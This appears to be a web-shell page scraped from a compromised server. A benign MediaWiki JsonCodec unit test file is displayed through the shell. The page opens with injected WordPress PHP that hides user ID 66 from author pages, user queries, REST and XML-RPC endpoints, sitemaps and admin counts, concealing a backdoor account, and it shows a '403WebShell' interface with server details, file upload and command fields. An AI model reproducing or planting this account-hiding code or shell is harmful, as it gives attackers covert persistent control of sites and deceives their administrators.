add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/wiki/tests/phpunit/unit/includes/json/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wiki/tests/phpunit/unit/includes/json/JsonCodecTest.php
<?php

namespace MediaWiki\Tests\Json;

use InvalidArgumentException;
use JsonException;
use JsonSerializable;
use MediaWiki\Json\FormatJson;
use MediaWiki\Json\JsonCodec;
use MediaWiki\Json\JsonConstants;
use MediaWiki\Title\Title;
use MediaWiki\User\UserIdentityValue;
use MediaWikiUnitTestCase;
use Psr\Container\ContainerInterface;
use Wikimedia\Assert\PreconditionException;

/**
 * @covers \MediaWiki\Json\JsonCodec
 * @covers \MediaWiki\Json\JsonDeserializableTrait
 */
class JsonCodecTest extends MediaWikiUnitTestCase {

	/** Mock up a services interface. */
	private static function getServices(): ContainerInterface {
		static $services = null;
		if ( !$services ) {
			$services = new class implements ContainerInterface {
				private $storage = [];

				public function get( $id ) {
					return $this->storage[$id];
				}

				public function has( $id ): bool {
					return isset( $this->storage[$id] );
				}

				public function set( $id, $value ) {
					$this->storage[$id] = $value;
				}
			};
			$factory = new ManagedObjectFactory();
			$factory->create( "a", 1 );
			$factory->create( "b", 2 );
			$services->set( 'ManagedObjectFactory', $factory );
		}
		return $services;
	}

	private function getCodec(): JsonCodec {
		return new JsonCodec( self::getServices() );
	}

	public static function provideSimpleTypes() {
		yield 'Integer' => [ 1, json_encode( 1 ) ];
		yield 'Boolean' => [ true, json_encode( true ) ];
		yield 'Null' => [ null, json_encode( null ) ];
		yield 'Array' => [ [ 1, 2, 3 ], json_encode( [ 1, 2, 3 ] ) ];
		yield 'Assoc array' => [ [ 'a' => 'b' ], json_encode( [ 'a' => 'b' ] ) ];

		$object = (object)[ 'c' => 'd' ];
		yield 'Object' => [ (array)$object, json_encode( $object ) ];
	}

	public static function provideInvalidJsonData() {
		yield 'Bad string' => [ 'bad string' ];
		yield 'No deserialization metadata' => [ [ 'test' => 'test' ] ];
		yield 'Deserialization metadata, but class not exist' => [ [
			JsonConstants::TYPE_ANNOTATION => 'BadClassNotExist'
		] ];
		yield 'Deserialization metadata, but class is not JsonDeserializable' => [ [
			JsonConstants::TYPE_ANNOTATION => Title::class
		] ];
	}

	/**
	 * @dataProvider provideSimpleTypes
	 */
	public function testSimpleTypesDeserialize( $value, string $serialization ) {
		$this->assertSame( $value, $this->getCodec()->deserialize( $serialization ) );
	}

	public function testActualClassInstanceIsNotJsonObject() {
		// Can be any trivial value class that's suitable to be used in pure unit tests
		$object = UserIdentityValue::newAnonymous( '' );

		// TODO: We probably want this to throw an exception as well
		$array = [ $object ];
		$this->assertSame( $array, $this->getCodec()->deserialize( $array ) );

		$this->expectException( InvalidArgumentException::class );
		$this->getCodec()->deserialize( $object );
	}

	/**
	 * @dataProvider provideSimpleTypes
	 * @dataProvider provideInvalidJsonData
	 */
	public function testInvalidJsonDataForClassExpectation( $jsonData, $simpleJsonData = null ) {
		$jsonData = $simpleJsonData ?? $jsonData;
		$this->expectException( JsonException::class );
		$this->getCodec()->deserialize( $jsonData, JsonDeserializableSuperClass::class );
	}

	public function testExpectedClassMustBeDeserializable() {
		$this->expectException( PreconditionException::class );
		$this->getCodec()->deserialize( '{}', self::class );
	}

	public function testUnexpectedClassDeserialized() {
		$this->expectException( JsonException::class );
		$superClassInstance = new JsonDeserializableSuperClass( 'Godzilla' );
		$this->getCodec()->deserialize(
			$superClassInstance->jsonSerialize(),
			JsonDeserializableSubClass::class
		);
	}

	public function testExpectedClassDeserialized() {
		$subClassInstance = new JsonDeserializableSubClass( 'Godzilla', 'But we are ready!' );
		$this->assertNotNull( $this->getCodec()->deserialize(
			$subClassInstance->jsonSerialize(),
			JsonDeserializableSuperClass::class
		) );
		$this->assertNotNull( $this->getCodec()->deserialize(
			$subClassInstance->jsonSerialize(),
			JsonDeserializableSubClass::class
		) );
	}

	public function testRoundTripSuperClass() {
		$superClassInstance = new JsonDeserializableSuperClass( 'Super Value' );
		$json = $superClassInstance->jsonSerialize();
		$superClassDeserialized = $this->getCodec()->deserialize( $json );
		$this->assertInstanceOf( JsonDeserializableSuperClass::class, $superClassInstance );
		$this->assertSame( $superClassInstance->getSuperClassField(), $superClassDeserialized->getSuperClassField() );
	}

	public function testRoundTripSuperClassObject() {
		$superClassInstance = new JsonDeserializableSuperClass( 'Super Value' );
		$json = (object)$superClassInstance->jsonSerialize();
		$superClassDeserialized = $this->getCodec()->deserialize( $json );
		$this->assertInstanceOf( JsonDeserializableSuperClass::class, $superClassInstance );
		$this->assertInstanceOf( JsonDeserializableSuperClass::class, $superClassDeserialized );
		$this->assertSame( $superClassInstance->getSuperClassField(), $superClassDeserialized->getSuperClassField() );
	}

	public function testRoundTripSubClass() {
		$subClassInstance = new JsonDeserializableSubClass( 'Super Value', 'Sub Value' );
		$json = $subClassInstance->jsonSerialize();
		$superClassDeserialized = $this->getCodec()->deserialize( $json );
		$this->assertInstanceOf( JsonDeserializableSubClass::class, $subClassInstance );
		$this->assertSame( $subClassInstance->getSuperClassField(), $superClassDeserialized->getSuperClassField() );
		$this->assertSame( $subClassInstance->getSubClassField(), $superClassDeserialized->getSubClassField() );
	}

	public function testRoundTripSubClassNested() {
		$subClassInstance1 = new JsonDeserializableSubClass( 'Super Value', 'Sub Value' );
		$superClassInstance1 = new JsonDeserializableSuperClass( 'XYZ' );
		$superClassInstance2 = new JsonDeserializableSuperClass(
			// To be a bit tricky, wrap the embedded instance in an array
			[ $superClassInstance1 ]
		);
		$subClassInstance2 = new JsonDeserializableSubClass(
			$subClassInstance1,
			// Again, we're tricky and wrap this instance in a stdClass object
			(object)[ 'a' => $superClassInstance1 ]
		);
		$json = $this->getCodec()->serialize( $subClassInstance2 );
		$deserialized = $this->getCodec()->deserialize( $json );
		$this->assertEquals( $subClassInstance2, $deserialized );
	}

	public function testArrayRoundTrip() {
		$array = [
			new JsonDeserializableSuperClass( 'Super Value' ),
			new JsonDeserializableSubClass( 'Super Value', 'Sub Value' ),
			42
		];
		// This is pretty bogus, in that it tests the ability of JsonCodec
		// to decode something which *wasn't* generated by JsonCodec, but
		// instead used only json_encode/JsonSerializable.  Still this should
		// work as long as JsonDeserializableTrait is used and the arrays
		// returned contain only primitive types (ie, not nested
		// JsonSerializables)
		$serialized = FormatJson::encode( $array );
		$deserialized = $this->getCodec()->deserializeArray( FormatJson::decode( $serialized ) );
		$this->assertArrayEquals( $array, $deserialized );
	}

	public static function provideValidateSerializable() {
		$classInstance = new class() {
		};
		$serializableClass = new class() implements JsonSerializable {
			public function jsonSerialize(): array {
				return [];
			}
		};
		$badSerializable = new class() implements JsonSerializable {
			public function jsonSerialize(): \stdClass {
				return (object)[];
			}
		};

		yield 'Number' => [ 1, true, null ];
		yield 'Null' => [ null, true, null ];
		yield 'Class' => [ $classInstance, false, '$' ];
		yield 'Empty array' => [ [], true, null ];
		yield 'Empty stdClass' => [ (object)[], true, null ];
		yield 'Non-empty array' => [ [ 1, 2, 3 ], true, null ];
		yield 'Non-empty map' => [ [ 'a' => 'b' ], true, null ];
		yield 'Nested stdClass' => [ [ 'a' => [ 'b' => (object)[] ] ], true, null ];
		yield 'Nested, serializable' => [ [ 'a' => [ 'b' => [ 'c' => 'd' ] ] ], true, null ];
		yield 'Nested, serializable, with null' => [ [ 'a' => [ 'b' => null ] ], true, null ];
		yield 'Nested, serializable, with stdClass' => [ [ 'a' => (object)[ 'b' => [ 'c' => 'd' ] ] ], true, null ];
		yield 'Nested, serializable, with stdClass, with null' => [ [ 'a' => (object)[ 'b' => null ] ], true, null ];
		yield 'Nested, non-serializable' => [ [ 'a' => [ 'b' => $classInstance ] ], true, '$.a.b' ];
		yield 'Nested, non-serializable, in array' => [ [ 'a' => [ 1, 2, $classInstance ] ], true, '$.a.2' ];
		yield 'Nested, non-serializable, in stdClass' => [ [ 'a' => (object)[ 1, 2, $classInstance ] ], true, '$.a.2' ];
		yield 'Nested, non-serializable, in JsonDeserializable' => [ new JsonDeserializableSuperClass( $classInstance ), true, '$.super_class_field' ];
		yield 'JsonDeserializable instance' => [ new JsonDeserializableSuperClass( 'Test' ), true, null ];
		yield 'JsonDeserializable instance, in array' =>
			[ [ new JsonDeserializableSuperClass( 'Test' ) ], true, null ];
		yield 'JsonDeserializable instance, in stdClass' =>
			[ (object)[ new JsonDeserializableSuperClass( 'Test' ) ], true, null ];
		yield 'JsonDeserializable instance, in JsonCodecable' =>
			[ new SampleContainerObject( new JsonDeserializableSuperClass( 'Test' ) ), true, null ];
		yield 'JsonSerializable instance' => [ $serializableClass, false, null ];
		yield 'JsonSerializable instance, in array' => [ [ $serializableClass ], false, null ];
		yield 'JsonSerializable instance, in stdClass' => [ (object)[ $serializableClass ], false, null ];
		yield 'JsonSerializable instance, in JsonCodecable' => [ new SampleContainerObject( $serializableClass ), false, null ];
		yield 'JsonSerializable instance, expect deserialize' => [ $serializableClass, true, '$' ];
		yield 'JsonSerializable instance, in array, expect deserialize' => [ [ $serializableClass ], true, '$.0' ];
		yield 'JsonSerializable instance, in stdClass, expect deserialize' =>
			[ (object)[ $serializableClass ], true, '$.0' ];
		yield 'Bad JsonSerializable instance' => [ $badSerializable, false, '$' ];

		yield 'JsonCodecable instance' => [ new SampleObject( 'a' ), true, null ];
		yield 'JsonCodecable instance, in array' =>
			[ [ new SampleObject( '123' ) ], true, null ];
		yield 'JsonCodecable instance, in stdClass' =>
			[ (object)[ new SampleObject( 'Test' ) ], true, null ];
		yield 'JsonCodecable instance, in JsonCodecable' => [
			new SampleContainerObject( new SampleObject( '123' ) ), true, null
		];
		// Managed values
		$factory = self::getServices()->get( 'ManagedObjectFactory' );
		yield 'Managed instance' => [ $factory->lookup( 'a' ), true, null ];
	}

	/**
	 * @dataProvider provideValidateSerializable
	 * @covers \MediaWiki\Json\JsonCodec::detectNonSerializableData
	 * @covers \MediaWiki\Json\JsonCodec::detectNonSerializableDataInternal
	 */
	public function testValidateSerializable( $value, bool $expectDeserialize, ?string $expected ) {
		$actual = $this->getCodec()
			->detectNonSerializableData( $value, $expectDeserialize );
		// Split off the details string from the detection location
		if ( $actual !== null ) {
			$actual = preg_replace( '/:.*$/', '', $actual );
		}
		$this->assertSame( $expected, $actual );
	}

	/**
	 * @dataProvider provideValidateSerializable
	 * @covers \MediaWiki\Json\JsonCodec::detectNonSerializableData
	 * @covers \MediaWiki\Json\JsonCodec::detectNonSerializableDataInternal
	 */
	public function testValidateSerializable2( $value, bool $expectDeserialize, ?string $result ) {
		if ( $result !== null || !$expectDeserialize ) {
			$this->assertTrue( true ); // skip this test
			return;
		}
		// Sanity check by ensuring that "serializable" things actually
		// are deserializable w/o losing value or type
		$json = $this->getCodec()->serialize( $value );
		$newValue = $this->getCodec()->deserialize( $json );
		$this->assertEquals( $value, $newValue );
	}

	public static function provideSerializeThrowsOnFailure() {
		$classInstance = new class() {
		};
		yield 'non-serializable class' => [ $classInstance ];
		yield 'invalid UTF-8' => [
			"\x1f\x8b\x08\x00\x00\x00\x00\x00\x00\x03\xcb\x48\xcd\xc9\xc9\x57\x28\xcf\x2f"
				. "\xca\x49\x01\x00\x85\x11\x4a\x0d\x0b\x00\x00\x00"
		];
	}

	/**
	 * @dataProvider provideSerializeThrowsOnFailure
	 * @covers \MediaWiki\Json\JsonCodec::serialize
	 */
	public function testSerializeThrowsOnFailure( $value ) {
		$this->expectException( JsonException::class );
		$this->getCodec()->serialize( $value );
	}

	public static function provideSerializeSuccess() {
		$serializableInstance = new class() implements JsonSerializable {
			public function jsonSerialize(): array {
				return [ 'c' => 'd' ];
			}
		};
		yield 'array' => [ [ 'a' => 'b' ], '{"a":"b"}' ];
		yield 'JsonSerializable' => [
			$serializableInstance,
			json_encode( [ "c" => "d", "_type_" => get_class( $serializableInstance ), "_complex_" => true ], JSON_UNESCAPED_SLASHES )
		];
		yield 'JsonCodecable' => [ new SampleObject( 'a' ), json_encode( [
			'property' => 'a',
			'_type_' => SampleObject::class,
			'_complex_' => true,
		] ) ];
	}

	/**
	 * @dataProvider provideSerializeSuccess
	 * @covers \MediaWiki\Json\JsonCodec::serialize
	 */
	public function testSerializeSuccess( $value, string $expected ) {
		$this->assertSame( $expected, $this->getCodec()->serialize( $value ) );
	}

	public function testManagedObjects() {
		$codec = $this->getCodec();
		$factory = self::getServices()->get( 'ManagedObjectFactory' );
		$a = $factory->lookup( 'a' );
		$s = $codec->serialize( $a );
		$v = $codec->deserialize( $s );
		// Not just "equals", $v should be reference-identical to $a
		$this->assertSame( $a, $v );
	}

	public function testCodecableAliases() {
		$codec = $this->getCodec();
		// Note that the class name in _type_ is an *alias*, not the
		// *actual* class name.
		$json = '{"property":"alias!","_type_":"MediaWiki\\\\Tests\\\\Json\\\\SampleObjectAlias","_complex_":true}';
		$v = $codec->deserialize( $json, SampleObject::class );
		$this->assertInstanceOf( SampleObject::class, $v );
	}

	public function testJsonDeserializableAliases() {
		$codec = $this->getCodec();
		// Note that the class name in _type_ is an *alias*, not the
		// *actual* class name.
		$json = '{"super_class_field":1,"sub_class_field":"2","_type_":"MediaWiki\\\\Tests\\\\Json\\\\JsonDeserializableSubClassAlias","_complex_":true}';
		$v = $codec->deserialize( $json, JsonDeserializableSubClass::class );
		$this->assertInstanceOf( JsonDeserializableSubClass::class, $v );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit